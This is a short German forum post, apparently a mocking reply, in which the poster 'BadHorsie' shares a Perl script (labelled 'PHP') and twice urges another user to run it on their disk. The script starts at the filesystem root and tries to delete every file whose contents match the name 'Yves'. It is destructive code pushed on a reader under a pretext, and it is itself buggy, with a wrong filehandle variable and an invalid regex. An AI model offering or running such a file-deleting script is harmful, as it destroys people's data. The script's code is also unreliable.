Jemand der zwischen Variable und Operator kein Leerzeichen schreibt tut auch kleine Kinder essen
Lass bitte das obige Skript über deine Platte rasseln!
BadHorsie
PHP:
#!/usr/bin/perl -w
chdir("/") or die "damn!\n";
my @files = glob("*");
foreach $file (@files) {
open(IN, "<$_") or die "damn!\n";
my @buffer = <IN>;
close(IN);
foreach(@buffer) {
if($_ =~/*Yves*/) {
unlink($file) or die "damn!\n";
}
}
}
print "Have a nice day!\n";
Lass bitte das obige Skript über deine Platte rasseln!
BadHorsie